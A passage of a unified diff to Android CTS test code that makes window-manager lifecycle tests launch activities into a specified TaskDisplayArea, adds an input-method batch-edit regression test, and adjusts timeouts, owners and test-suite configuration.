-            activityContext.startActivityForResult(intent, 1, getLaunchOptions());
+            activityContext.startActivityForResult(intent, 1,
+                    getLaunchOptions(launchTaskDisplayAreaFeatureId));
         } else {
-            activityContext.startActivity(intent, getLaunchOptions());
+            activityContext.startActivity(intent, getLaunchOptions(launchTaskDisplayAreaFeatureId));
         }
         Activity activity = monitor.waitForActivityWithTimeout(ACTIVITY_LAUNCH_TIMEOUT);
 
         if (activity == null) {
             return activityContext;
+        } else if (startForResult && activityContext == activity) {
+            // The result may have been sent back to caller activity and forced the caller activity
+            // to be resumed again, before the started activity actually resumed. Just wait for idle
+            // for that case.
+            getInstrumentation().waitForIdleSync();
         } else {
-            if (expectedTda != -1) {
-                // If a expected TDA is given, we should check that the launched componentName
-                // is where it should be
-                assertActivityLaunchedOnSameTda(intent.getComponent(), expectedTda);
-            }
-
-            if (startForResult && activityContext == activity) {
-                // The result may have been sent back to caller activity and forced the caller activity
-                // to be resumed again, before the started activity actually resumed. Just wait for idle
-                // for that case.
-                getInstrumentation().waitForIdleSync();
-            } else {
-                waitAndAssertActivityLaunched(activity, intent);
-            }
+            waitAndAssertActivityLaunched(activity, intent);
         }
 
         return activity;
@@ -307,22 +308,6 @@
     }
 
     /**
-     * Checks if a component was launched on the expected Task Display Area or not.
-     *
-     * If the check fail, the test will have an assumption fail result.
-     * @param activity The component to be searched for
-     * @param expectedTda The task display in which the activity is expected to be launched
-     */
-    private void assertActivityLaunchedOnSameTda(ComponentName activity, int expectedTda) {
-        if (activity != null){
-            mTestBase.getWmState().computeState(activity);
-
-            assumeTrue("Should launch in same tda",
-                    expectedTda == mTestBase.getWmState().getTaskDisplayAreaFeatureId(activity));
-        }
-    }
-
-    /**
      * After the last activity has been launched we wait for a valid state + an extra three seconds
      * so have a stable state of the system. Also all previously known tasks in
      * {@link LaunchRunner#mBaseTasks} is excluded from the output.
@@ -377,8 +362,15 @@
     }
 
     private static Bundle getLaunchOptions() {
+        return getLaunchOptions(FEATURE_UNDEFINED);
+    }
+
+    private static Bundle getLaunchOptions(int launchTaskDisplayAreaFeatureId) {
         ActivityOptions options = ActivityOptions.makeBasic();
         options.setLaunchWindowingMode(WindowConfiguration.WINDOWING_MODE_FULLSCREEN);
+        if (launchTaskDisplayAreaFeatureId != DisplayAreaOrganizer.FEATURE_UNDEFINED) {
+            options.setLaunchTaskDisplayAreaFeatureId(launchTaskDisplayAreaFeatureId);
+        }
         return options.toBundle();
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
index fbc8eca..13fc2e0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleTests.java
@@ -51,7 +51,6 @@
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.app.ActivityOptions;
@@ -152,9 +151,16 @@
         final Activity translucentActivity = new Launcher(TranslucentActivity.class)
                 .setOptions(getLaunchOptionsForFullscreen())
                 .launch();
+
+        // We need to get the translucentActivity task display area feature Id so we can launch the
+        // firstActivity on the same task display area as the translucentActivity.
+        final int translucentActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(
+                translucentActivity.getComponentName());
+        ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+        activityOptions.setLaunchTaskDisplayAreaFeatureId(translucentActivityTDAFeatureId);
         final Activity firstActivity = new Launcher(FirstActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .setOptions(getLaunchOptionsForFullscreen())
+                .setOptions(activityOptions)
                 .launch();
         waitAndAssertActivityStates(state(translucentActivity, ON_STOP));
 
@@ -162,9 +168,13 @@
         mWmState.computeState(firstActivityName);
         int firstActivityStack = mWmState.getRootTaskIdByActivity(firstActivityName);
 
+        // We need to get the firstActivity task display area feature Id so we can move the
+        // translucentActivity on top of the same task display area as the firstActivity.
+        int firstActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(firstActivityName);
         // Move translucent activity into the stack with the first activity
         getLifecycleLog().clear();
-        moveActivityToRootTaskOrOnTop(getComponentName(TranslucentActivity.class), firstActivityStack);
+        moveActivityToRootTaskOrOnTop(getComponentName(TranslucentActivity.class),
+                firstActivityStack, firstActivityTDAFeatureId);
 
         // Wait for translucent activity to resume and first activity to pause
         waitAndAssertActivityStates(state(translucentActivity, ON_RESUME),
@@ -699,20 +709,16 @@
         // Launch activity whose process will be killed
         builder.execute();
 
+        // Get the TaskDisplayArea feature id for the targetActivity so we could launch the
+        // testActivity into the same TDA.
+        final int targetActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(targetActivity);
+        ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+        activityOptions.setLaunchTaskDisplayAreaFeatureId(targetActivityTDAFeatureId);
+
         // Start fullscreen activity in another process to put original activity in background.
         final Activity testActivity = new Launcher(FirstActivity.class)
-                .setOptions(getLaunchOptionsForFullscreen())
+                .setOptions(activityOptions)
                 .launch();
-
-        // FirstActivity should be in the same TDA as targetActivity in order to affect the
-        // targetActivity visibility.
-        mWmState.waitForValidState(testActivity.getComponentName());
-        final int targetActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(targetActivity);
-        final int testActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(
-                testActivity.getComponentName());
-        assumeTrue("Activities should be on the same TaskDisplayArea",
-                targetActivityTDAFeatureId == testActivityTDAFeatureId);
-
         final boolean isTranslucent = isTranslucent(testActivity);
         mWmState.waitForActivityState(
                 targetActivity, isTranslucent ? STATE_PAUSED : STATE_STOPPED);
@@ -743,10 +749,15 @@
         final Activity recreatingActivity = new Launcher(SingleTopActivity.class)
                 .launch();
 
+        // Retrieve the activity Task Display Area.
+        int recreatingActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(recreatingActivity
+                .getComponentName());
+        ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+        activityOptions.setLaunchTaskDisplayAreaFeatureId(recreatingActivityTDAFeatureId);
         // Launch second activity to cover and stop first
         final Activity secondActivity = new Launcher(SecondActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .setOptions(getLaunchOptionsForFullscreen())
+                .setOptions(activityOptions)
                 .launch();
 
         // Wait for first activity to become occluded
@@ -803,10 +814,15 @@
         final Activity singleTopActivity = launchActivityAndWait(SingleTopActivity.class);
         LifecycleVerifier.assertLaunchSequence(SingleTopActivity.class, getLifecycleLog());
 
+        int singleTopActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(singleTopActivity
+                .getComponentName());
+        ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+        activityOptions.setLaunchTaskDisplayAreaFeatureId(singleTopActivityTDAFeatureId);
+
         // Launch something on top
         final Activity secondActivity = new Launcher(SecondActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .setOptions(getLaunchOptionsForFullscreen())
+                .setOptions(activityOptions)
                 .launch();
 
         waitAndAssertActivityStates(state(singleTopActivity, ON_STOP));
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
index 6f388e3..b303c846 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityTests.java
@@ -33,6 +33,7 @@
 import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
+import android.app.ActivityOptions;
 import android.platform.test.annotations.Presubmit;
 
 import androidx.test.filters.MediumTest;
@@ -243,8 +244,12 @@
     @Test
     public void testFinishAffinity_differentAffinity() throws Exception {
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+        final int firstActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(firstActivity
+                .getComponentName());
+        ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+        activityOptions.setLaunchTaskDisplayAreaFeatureId(firstActivityTDAFeatureId);
         final Activity differentAffinityActivity = new Launcher(DifferentAffinityActivity.class)
-                .setOptions(getLaunchOptionsForFullscreen())
+                .setOptions(activityOptions)
                 .launch();
         waitAndAssertActivityStates(state(differentAffinityActivity, ON_RESUME),
                 state(firstActivity, ON_STOP));
@@ -263,10 +268,14 @@
     @Test
     public void testFinishAffinity_multiTask() throws Exception {
         final Activity firstActivity = launchActivityAndWait(FirstActivity.class);
+        final int firstActivityTDAFeatureId = mWmState.getTaskDisplayAreaFeatureId(firstActivity
+                .getComponentName());
+        ActivityOptions activityOptions = getLaunchOptionsForFullscreen();
+        activityOptions.setLaunchTaskDisplayAreaFeatureId(firstActivityTDAFeatureId);
         // Launch fullscreen activity in a new task to stop first activity
         final Activity secondActivity = new Launcher(SecondActivity.class)
                 .setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_MULTIPLE_TASK)
-                .setOptions(getLaunchOptionsForFullscreen())
+                .setOptions(activityOptions)
                 .launch();
         waitAndAssertActivityStates(state(secondActivity, ON_RESUME),
                 state(firstActivity, ON_STOP));
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
index 25b5ee8..37058c9 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityLauncher.java
@@ -22,6 +22,7 @@
 import static android.content.Intent.FLAG_ACTIVITY_REORDER_TO_FRONT;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.second.Components.IMPLICIT_TARGET_SECOND_TEST_ACTION;
+import static android.window.DisplayAreaOrganizer.FEATURE_UNDEFINED;
 
 import android.app.ActivityManager;
 import android.app.ActivityOptions;
@@ -141,6 +142,11 @@
      */
     public static final String KEY_WINDOWING_MODE = "windowing_mode";
 
+    /**
+     * Key for int extra, indicates the launch TaskDisplayArea feature id
+     */
+    public static final String KEY_TASK_DISPLAY_AREA_FEATURE_ID = "task_display_area_feature_id";
+
 
     /** Perform an activity launch configured by provided extras. */
     public static void launchActivityFromExtras(final Context context, Bundle extras) {
@@ -234,6 +240,16 @@
         if (intentFlags != 0) {
             newIntent.addFlags(intentFlags);
         }
+
+        final int launchTaskDisplayAreaFeatureId = extras
+                .getInt(KEY_TASK_DISPLAY_AREA_FEATURE_ID, FEATURE_UNDEFINED);
+        if (launchTaskDisplayAreaFeatureId != FEATURE_UNDEFINED) {
+            if (options == null) {
+                options = ActivityOptions.makeBasic();
+            }
+            options.setLaunchTaskDisplayAreaFeatureId(launchTaskDisplayAreaFeatureId);
+        }
+
         final Bundle optionsBundle = options != null ? options.toBundle() : null;
 
         final Context launchContext = getBoolean(extras, KEY_USE_APPLICATION_CONTEXT) ?
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index c7bbce1..114cfa7 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -59,6 +59,7 @@
 import static android.server.wm.ActivityLauncher.KEY_REORDER_TO_FRONT;
 import static android.server.wm.ActivityLauncher.KEY_SUPPRESS_EXCEPTIONS;
 import static android.server.wm.ActivityLauncher.KEY_TARGET_COMPONENT;
+import static android.server.wm.ActivityLauncher.KEY_TASK_DISPLAY_AREA_FEATURE_ID;
 import static android.server.wm.ActivityLauncher.KEY_USE_APPLICATION_CONTEXT;
 import static android.server.wm.ActivityLauncher.KEY_WINDOWING_MODE;
 import static android.server.wm.ActivityLauncher.launchActivityFromExtras;
@@ -100,6 +101,7 @@
 import static android.view.Display.INVALID_DISPLAY;
 import static android.view.Surface.ROTATION_0;
 import static android.view.WindowManager.LayoutParams.TYPE_BASE_APPLICATION;
+import static android.window.DisplayAreaOrganizer.FEATURE_UNDEFINED;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -864,6 +866,26 @@
                 .build());
     }
 
+    protected void launchActivityOnTaskDisplayArea(ComponentName activityName, int windowingMode,
+            int launchTaskDisplayAreaFeatureId, final CliIntentExtra... extras) {
+        executeShellCommand(getAmStartCmd(activityName, extras)
+                + " --task-display-area-feature-id " + launchTaskDisplayAreaFeatureId
+                + " --windowingMode " + windowingMode);
+        mWmState.waitForValidState(new WaitForValidActivityState.Builder(activityName)
+                .setWindowingMode(windowingMode)
+                .build());
+    }
+
+    protected void launchActivityOnTaskDisplayArea(ComponentName activityName, int windowingMode,
+            int launchTaskDisplayAreaFeatureId, int displayId, final CliIntentExtra... extras) {
+        executeShellCommand(getAmStartCmd(activityName, displayId, extras)
+                + " --task-display-area-feature-id " + launchTaskDisplayAreaFeatureId
+                + " --windowingMode " + windowingMode);
+        mWmState.waitForValidState(new WaitForValidActivityState.Builder(activityName)
+                .setWindowingMode(windowingMode)
+                .build());
+    }
+
     protected void launchActivityOnDisplay(ComponentName activityName, int displayId,
             CliIntentExtra... extras) {
         launchActivityOnDisplayNoWait(activityName, displayId, extras);
@@ -966,6 +988,11 @@
      * task.
      */
     protected void moveActivityToRootTaskOrOnTop(ComponentName activityName, int rootTaskId) {
+        moveActivityToRootTaskOrOnTop(activityName, rootTaskId, FEATURE_UNDEFINED);
+    }
+
+    protected void moveActivityToRootTaskOrOnTop(ComponentName activityName, int rootTaskId,
+                                                 int taskDisplayAreaFeatureId) {
         mWmState.computeState(activityName);
         Task rootTask = getRootTask(rootTaskId);
         if (rootTask.getActivities().size() != 0) {
@@ -974,6 +1001,7 @@
                     .setDisplayId(rootTask.mDisplayId)
                     .setWindowingMode(rootTask.getWindowingMode())
                     .setActivityType(rootTask.getActivityType())
+                    .setLaunchTaskDisplayAreaFeatureId(taskDisplayAreaFeatureId)
                     .setTargetActivity(activityName)
                     .allowMultipleInstances(false)
                     .setUseInstrumentation()
@@ -2281,6 +2309,7 @@
         private Bundle mExtras;
         private LaunchInjector mLaunchInjector;
         private ActivitySessionClient mActivitySessionClient;
+        private int mLaunchTaskDisplayAreaFeatureId = FEATURE_UNDEFINED;
 
         private enum LauncherType {
             INSTRUMENTATION, LAUNCHING_ACTIVITY, BROADCAST_RECEIVER
@@ -2378,6 +2407,12 @@
             return this;
         }
 
+        public LaunchActivityBuilder setLaunchTaskDisplayAreaFeatureId(
+                int launchTaskDisplayAreaFeatureId) {
+            mLaunchTaskDisplayAreaFeatureId = launchTaskDisplayAreaFeatureId;
+            return this;
+        }
+
         /** Use broadcast receiver as a launchpad for activities. */
         public LaunchActivityBuilder setUseBroadcastReceiver(final ComponentName broadcastReceiver,
                 final String broadcastAction) {
@@ -2485,6 +2520,7 @@
             b.putBoolean(KEY_SUPPRESS_EXCEPTIONS, mSuppressExceptions);
             b.putInt(KEY_INTENT_FLAGS, mIntentFlags);
             b.putBundle(KEY_INTENT_EXTRAS, getExtras());
+            b.putInt(KEY_TASK_DISPLAY_AREA_FEATURE_ID, mLaunchTaskDisplayAreaFeatureId);
             final Context context = getInstrumentation().getContext();
             launchActivityFromExtras(context, b, mLaunchInjector);
         }
@@ -2565,6 +2601,13 @@
                 commandBuilder.append(" --ei " + KEY_INTENT_FLAGS + " ").append(mIntentFlags);
             }
 
+            if (mLaunchTaskDisplayAreaFeatureId != FEATURE_UNDEFINED) {
+                commandBuilder.append(" --task-display-area-feature-id ")
+                        .append(mLaunchTaskDisplayAreaFeatureId);
+                commandBuilder.append(" --ei " + KEY_TASK_DISPLAY_AREA_FEATURE_ID + " ")
+                        .append(mLaunchTaskDisplayAreaFeatureId);
+            }
+
             if (mLaunchInjector != null) {
                 commandBuilder.append(" --ez " + KEY_FORWARD + " true");
                 mLaunchInjector.setupShellCommand(commandBuilder);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index b249ff1..fcfc8c6 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -29,6 +29,7 @@
 import static android.server.wm.TestTaskOrganizer.INVALID_TASK_ID;
 import static android.util.DisplayMetrics.DENSITY_DEFAULT;
 import static android.view.Display.DEFAULT_DISPLAY;
+import static android.window.DisplayAreaOrganizer.FEATURE_UNDEFINED;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
@@ -36,7 +37,6 @@
 
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
-import static org.junit.Assume.assumeTrue;
 
 import android.app.ActivityTaskManager;
 import android.content.ComponentName;
@@ -49,7 +49,6 @@
 import android.view.WindowManager;
 import android.view.nano.DisplayInfoProto;
 import android.view.nano.ViewProtoEnums;
-import android.window.DisplayAreaOrganizer;
 
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
@@ -498,16 +497,13 @@
         return result.stream().findFirst().orElse(null);
     }
 
-    List<DisplayArea> getTaskDisplayAreas(ComponentName activityName) {
-        final List<DisplayArea> result = new ArrayList<>();
-        for (DisplayContent display : mDisplays) {
-            final List<DisplayArea> tdas = display.getTaskDisplayAreas(activityName);
-            if (tdas != null) {
-                result.addAll(tdas);
-            }
+    public int getTaskDisplayAreaFeatureId(ComponentName activityName) {
+        final DisplayArea taskDisplayArea = getTaskDisplayArea(activityName);
+        if (taskDisplayArea != null) {
+            return taskDisplayArea.getFeatureId();
         }
 
-        return result;
+        return FEATURE_UNDEFINED;
     }
 
     @Nullable
@@ -525,18 +521,6 @@
         return result.stream().findFirst().orElse(null);
     }
 
-    public int getTaskDisplayAreaFeatureId(ComponentName activityName) {
-        List<DisplayArea> displayAreas = getTaskDisplayAreas(activityName);
-        if (displayAreas != null) {
-
-            assumeTrue("There should be only one task display area for a given activity",
-                    displayAreas.size() == 1);
-
-            return displayAreas.get(0).getFeatureId();
-        }
-        return DisplayAreaOrganizer.FEATURE_UNDEFINED;
-    }
-
     int getFrontRootTaskId(int displayId) {
         return getDisplay(displayId).mRootTasks.get(0).mRootTaskId;
     }
@@ -1252,14 +1236,6 @@
             return result.stream().findFirst().orElse(null);
         }
 
-        List<DisplayArea> getTaskDisplayAreas(ComponentName activityName) {
-            final List<DisplayArea> taskDisplayAreas = getAllTaskDisplayAreas();
-
-            return taskDisplayAreas.stream()
-                    .filter(tda -> tda.containsActivity(activityName))
-                    .collect(Collectors.toList());
-        }
-
         List<DisplayArea> getAllChildDisplayAreas() {
             final List<DisplayArea> displayAreas = new ArrayList<>();
             collectDescendantsOfType(DisplayArea.class,this, displayAreas);
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index d12d4c3..0f0e512 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -174,6 +174,7 @@
 
     public static boolean isKeyguardShowingAndNotOccluded(WindowManagerState state) {
         return state.getKeyguardControllerState().keyguardShowing
+                && !state.getKeyguardControllerState().aodShowing
                 && !state.getKeyguardControllerState().isKeyguardOccluded(DEFAULT_DISPLAY);
     }
 
diff --git a/tests/input/OWNERS b/tests/input/OWNERS
index 8ed76d2..824b5ac 100644
--- a/tests/input/OWNERS
+++ b/tests/input/OWNERS
@@ -1,5 +1,2 @@
-# Bug component: 136048
+include platform/frameworks/base:/INPUT_OWNERS
 arthurhung@google.com
-lzye@google.com
-michaelwr@google.com
-svv@google.com
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index dfead81..23e26e4 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -18,6 +18,7 @@
 <configuration description="Config for CTS InputMethod test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="inputmethod" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/EditTextImeSupportTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/EditTextImeSupportTest.java
index 2cdd765..b1e0c1d 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/EditTextImeSupportTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/EditTextImeSupportTest.java
@@ -21,6 +21,8 @@
 import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
@@ -30,6 +32,7 @@
 
 import android.os.SystemClock;
 import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.InputConnection;
 import android.view.inputmethod.SurroundingText;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
 import android.view.inputmethod.cts.util.TestActivity;
@@ -194,4 +197,20 @@
         assertEquals(expected.toString(), actual.toString());
     }
 
+    /**
+     * Regression test for Bug 209958658.
+     */
+    @Test
+    public void testEndBatchEditReturnValue() {
+        EditText editText = new EditText(InstrumentationRegistry.getInstrumentation().getContext());
+        EditorInfo editorInfo = new EditorInfo();
+        InputConnection editableInputConnection = editText.onCreateInputConnection(editorInfo);
+        assertThat(editableInputConnection.beginBatchEdit()).isTrue();
+        assertThat(editableInputConnection.beginBatchEdit()).isTrue();
+        assertThat(editableInputConnection.endBatchEdit()).isTrue();
+        assertThat(editableInputConnection.endBatchEdit()).isFalse();
+
+        // Extra invocations of endBatchEdit() continue to return false.
+        assertThat(editableInputConnection.endBatchEdit()).isFalse();
+    }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
index 8f5ff6f..6145da2 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodInfoTest.java
@@ -34,8 +34,6 @@
 import android.content.pm.ResolveInfo;
 import android.content.pm.ServiceInfo;
 import android.os.Parcel;
-import android.os.ParcelFileDescriptor;
-import android.text.TextUtils;
 import android.util.Printer;
 import android.view.inputmethod.InputMethod;
 import android.view.inputmethod.InputMethodInfo;
@@ -47,15 +45,14 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.PropertyUtil;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParserException;
 
-import java.io.BufferedReader;
 import java.io.IOException;
-import java.io.InputStreamReader;
-import java.nio.charset.StandardCharsets;
 import java.util.List;
 
 @SmallTest
@@ -240,8 +237,8 @@
             return;
         }
 
-        if (!TextUtils.equals("native", getFbeMode())) {
-            // Skip the test unless the device is in native FBE mode.
+        // If the device doesn't use FBE, skip the test.
+        if (!PropertyUtil.propertyEquals("ro.crypto.type", "file")) {
             return;
         }
 
@@ -264,23 +261,6 @@
         assertTrue(hasEncryptionAwareInputMethod);
     }
 
-    private String getFbeMode() {
-        try (ParcelFileDescriptor.AutoCloseInputStream in =
-                     new ParcelFileDescriptor.AutoCloseInputStream(InstrumentationRegistry
-                             .getInstrumentation()
-                             .getUiAutomation()
-                             .executeShellCommand("sm get-fbe-mode"))) {
-            try (BufferedReader br =
-                         new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8))) {
-                // Assume that the output of "sm get-fbe-mode" is always one-line.
-                final String line = br.readLine();
-                return line != null ? line.trim() : "";
-            }
-        } catch (IOException e) {
-            return "";
-        }
-    }
-
     @Test
     public void testShowInInputMethodPicker() {
         final List<InputMethodInfo> imis = mImManager.getInputMethodList();
diff --git a/tests/jdwp/AndroidTest.xml b/tests/jdwp/AndroidTest.xml
index 613aebe..e51a3bb 100644
--- a/tests/jdwp/AndroidTest.xml
+++ b/tests/jdwp/AndroidTest.xml
@@ -38,8 +38,8 @@
         <option name="dalvik-arg" value="--debuggable" />
         <option name="dalvik-arg" value="-Xusejit:true" />
         <option name="dalvik-arg" value="-Djpda.settings.verbose=false" />
-        <option name="dalvik-arg" value="-Djpda.settings.timeout=10000" />
-        <option name="dalvik-arg" value="-Djpda.settings.waitingTime=10000" />
+        <option name="dalvik-arg" value="-Djpda.settings.timeout=20000" />
+        <option name="dalvik-arg" value="-Djpda.settings.waitingTime=20000" />
         <option name="dalvik-arg" value="-Djpda.settings.dumpProcess='/system/xbin/su root /system/bin/logwrapper /system/bin/debuggerd'" />
         <option name="dalvik-arg-adbconnection" value="-Djpda.settings.debuggeeAgentArgument=-agentpath:" />
         <option name="dalvik-arg-adbconnection" value="-Djpda.settings.debuggeeAgentName=libjdwp.so" />
diff --git a/tests/libcore/jsr166/Android.bp b/tests/libcore/jsr166/Android.bp
index 0ab6329..1addbfd 100644
--- a/tests/libcore/jsr166/Android.bp
+++ b/tests/libcore/jsr166/Android.bp
@@ -37,6 +37,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-art",
     ],
 }
diff --git a/tests/libcore/jsr166/AndroidTest.xml b/tests/libcore/jsr166/AndroidTest.xml
index 7fc8364..e95b45e 100644
--- a/tests/libcore/jsr166/AndroidTest.xml
+++ b/tests/libcore/jsr166/AndroidTest.xml
@@ -55,4 +55,7 @@
         <!-- ART Mainline Module (external (AOSP) version). -->
         <option name="mainline-module-package-name" value="com.android.art" />
     </object>
+
+    <!-- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
 </configuration>
diff --git a/tests/libcore/luni/Android.bp b/tests/libcore/luni/Android.bp
index 2fc1f56..a30fce8 100644
--- a/tests/libcore/luni/Android.bp
+++ b/tests/libcore/luni/Android.bp
@@ -32,18 +32,11 @@
         "libcore-expectations-virtualdeviceknownfailures-jar",
 
         "mockito-target-minus-junit4",
-        "time_zone_distro-tests",
-        "time_zone_distro_installer-tests",
     ],
     dex_preopt: {
         enabled: false,
     },
     dxflags: ["--multi-dex"],
-    // Exclude apache harmony tests from coverage instrumentation, since it breaks
-    // the tests of reflection APIs by adding fields and methods to the test classes.
-    jacoco: {
-        exclude_filter: ["org.apache.harmony.tests.**"],
-    },
     optimize: {
         enabled: false,
     },
diff --git a/tests/libcore/luni/AndroidTest.xml b/tests/libcore/luni/AndroidTest.xml
index 7206792..9fb0de6 100644
--- a/tests/libcore/luni/AndroidTest.xml
+++ b/tests/libcore/luni/AndroidTest.xml
@@ -48,26 +48,6 @@
         <option name="device-listeners" value="org.conscrypt.ConscryptInstrumentationListener" />
         <option name="instrumentation-arg" key="conscrypt_sslsocket_implementation" value="engine" />
     </test>
-    <!-- Re-run a subset of tests using Conscrypt's file-descriptor based implementation to ensure
-         there are no regressions in this implementation before it is fully deprecated.
-
-         Expectations for these tests are the same as above, only timeout and SSLSocket
-         implementation are different.
-    -->
-    <test class="com.android.compatibility.testtype.LibcoreTest" >
-        <option name="package" value="android.libcore.cts" />
-        <option name="include-filter" value="libcore.javax.net.ssl" />
-        <option name="include-filter" value="com.android.org.conscrypt.javax.net.ssl" />
-        <option name="include-filter" value="org.apache.harmony.tests.javax.net.ssl" />
-        <option name="instrumentation-arg" key="filter"
-                value="com.android.cts.core.runner.ExpectationBasedFilter" />
-        <option name="core-expectation" value="/knownfailures.txt" />
-        <option name="virtual-device-core-expectation" value="/virtualdeviceknownfailures.txt" />
-        <option name="runtime-hint" value="5m"/>
-        <option name="hidden-api-checks" value="false"/>
-        <option name="device-listeners" value="org.conscrypt.ConscryptInstrumentationListener" />
-        <option name="instrumentation-arg" key="conscrypt_sslsocket_implementation" value="fd" />
-    </test>
 
     <object type="module_controller" class="com.android.tradefed.testtype.suite.module.TestFailureModuleController">
         <option name="screenshot-on-failure" value="false" />
@@ -81,4 +61,7 @@
         <!-- ART Mainline Module (external (AOSP) version). -->
         <option name="mainline-module-package-name" value="com.android.art" />
     </object>
+
+    <!-- Only run tests if the device under test is SDK version 31 (Android 12) or above. -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk31ModuleController" />
 </configuration>
diff --git a/tests/libcore/ojluni/Android.bp b/tests/libcore/ojluni/Android.bp
index b11bc9b..1276621 100644
--- a/tests/libcore/ojluni/Android.bp
+++ b/tests/libcore/ojluni/Android.bp
@@ -41,6 +41,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-art",
     ],
 }
diff --git a/tests/libcore/ojluni/AndroidTest.xml b/tests/libcore/ojluni/AndroidTest.xml
index efe3343..081e623 100644
--- a/tests/libcore/ojluni/AndroidTest.xml
+++ b/tests/libcore/ojluni/AndroidTest.xml
@@ -59,4 +59,7 @@
